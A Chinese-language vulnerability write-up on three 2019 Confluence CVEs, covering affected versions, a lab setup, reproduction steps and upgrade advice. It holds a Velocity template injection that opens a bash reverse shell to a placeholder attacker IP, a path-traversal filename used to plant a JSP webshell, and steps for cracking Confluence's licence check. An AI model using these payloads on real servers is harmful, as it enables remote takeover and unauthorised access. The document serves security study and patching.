Confluence 漏洞总结
字数 1297 2025-08-15 21:31:15

Confluence漏洞总结与复现教学文档


1. 漏洞概述

Confluence是企业级知识管理软件,其Server和Data Center版本中的widgetconnecter组件(≤3.1.3)存在高危漏洞,包括:

  • CVE-2019-3394:任意文件读取
  • CVE-2019-3396:远程命令执行(RCE)
  • CVE-2019-3398:路径穿越文件上传

2. 影响版本

  • 2.0.0 ≤ version < 6.6.13
  • 6.7.0 ≤ version < 6.12.4
  • 6.13.0 ≤ version < 6.13.4
  • 6.14.0 ≤ version < 6.14.3
  • 6.15.0 ≤ version < 6.15.2

3. 环境搭建

3.1 依赖组件
  • 数据库:MySQL 5.7(Docker部署)
    docker run --name mysql5.7 -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 -d mysql:5.7
    
  • Confluence 6.3.4
    wget https://www.atlassian.com/software/confluence/downloads/binary/atlassian-confluence-6.3.4-x64.bin
    chmod +x atlassian-confluence-6.3.4-x64.bin
    ./atlassian-confluence-6.3.4-x64.bin
    
3.2 破解与配置
  1. 替换关键文件:
    • /opt/atlassian/confluence/confluence/WEB-INF/lib/atlassian-extras-decoder-v2-3.2.jar
    • /opt/atlassian/confluence/confluence/WEB-INF/atlassian-bundled-plugins/atlassian-universal-plugin-manager-plugin-2.22.jar
  2. 添加MySQL驱动:
    • mysql-connector-java-5.0.8-bin.jar放入/opt/atlassian/confluence/lib

4. 漏洞复现

4.1 CVE-2019-3394(任意文件读取)
  1. 步骤
    • 在编辑器中插入图片,发布时拦截请求,删除filename参数。
    • 使用“导出为Word”功能读取web.xml等敏感文件。
  2. 关键点:利用导出功能解析恶意图片链接。
4.2 CVE-2019-3396(RCE)
  1. 利用小工具连接器
    • 创建宏→选择“小工具连接器”,输入恶意地址,点击“预览”拦截请求。
    • 添加_template参数执行Velocity模板注入:
      #set($e="e") $e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash -i >& /dev/tcp/攻击者IP/端口 0>&1")
      
  2. 效果:反弹Shell或执行系统命令(如gnome-calculator)。
4.3 CVE-2019-3398(路径穿越上传)
  1. 步骤
    • 上传文件时修改filename../../shell.jsp
    • 文件实际存储在ZIP中,但通过路径穿越写入Web目录。
  2. 验证:访问http://目标/shell.jsp执行恶意代码。

5. 修复建议

升级至以下安全版本:

  • 6.6.13 / 6.12.4 / 6.13.4 / 6.14.3 / 6.15.2

6. 参考链接


附录:漏洞利用截图

  • 文件读取:导出Word后查看web.xml内容。
  • RCE:成功弹出计算器或获取反向Shell。
  • 文件上传:通过路径穿越写入JSP木马。

:本文仅限安全研究,实际测试需获得授权,禁止非法利用。

Confluence漏洞总结与复现教学文档 1. 漏洞概述 Confluence是企业级知识管理软件,其Server和Data Center版本中的 widgetconnecter 组件(≤3.1.3)存在高危漏洞,包括: CVE-2019-3394 :任意文件读取 CVE-2019-3396 :远程命令执行(RCE) CVE-2019-3398 :路径穿越文件上传 2. 影响版本 2.0.0 ≤ version < 6.6.13 6.7.0 ≤ version < 6.12.4 6.13.0 ≤ version < 6.13.4 6.14.0 ≤ version < 6.14.3 6.15.0 ≤ version < 6.15.2 3. 环境搭建 3.1 依赖组件 数据库 :MySQL 5.7(Docker部署) Confluence 6.3.4 : 3.2 破解与配置 替换关键文件: /opt/atlassian/confluence/confluence/WEB-INF/lib/atlassian-extras-decoder-v2-3.2.jar /opt/atlassian/confluence/confluence/WEB-INF/atlassian-bundled-plugins/atlassian-universal-plugin-manager-plugin-2.22.jar 添加MySQL驱动: 将 mysql-connector-java-5.0.8-bin.jar 放入 /opt/atlassian/confluence/lib 4. 漏洞复现 4.1 CVE-2019-3394(任意文件读取) 步骤 : 在编辑器中插入图片,发布时拦截请求,删除 filename 参数。 使用“导出为Word”功能读取 web.xml 等敏感文件。 关键点 :利用导出功能解析恶意图片链接。 4.2 CVE-2019-3396(RCE) 利用小工具连接器 : 创建宏→选择“小工具连接器”,输入恶意地址,点击“预览”拦截请求。 添加 _template 参数执行Velocity模板注入: 效果 :反弹Shell或执行系统命令(如 gnome-calculator )。 4.3 CVE-2019-3398(路径穿越上传) 步骤 : 上传文件时修改 filename 为 ../../shell.jsp 。 文件实际存储在ZIP中,但通过路径穿越写入Web目录。 验证 :访问 http://目标/shell.jsp 执行恶意代码。 5. 修复建议 升级至以下安全版本: 6.6.13 / 6.12.4 / 6.13.4 / 6.14.3 / 6.15.2 6. 参考链接 CVE-2019-3396详细分析 官方修复公告 附录:漏洞利用截图 文件读取 :导出Word后查看 web.xml 内容。 RCE :成功弹出计算器或获取反向Shell。 文件上传 :通过路径穿越写入JSP木马。 注 :本文仅限安全研究,实际测试需获得授权,禁止非法利用。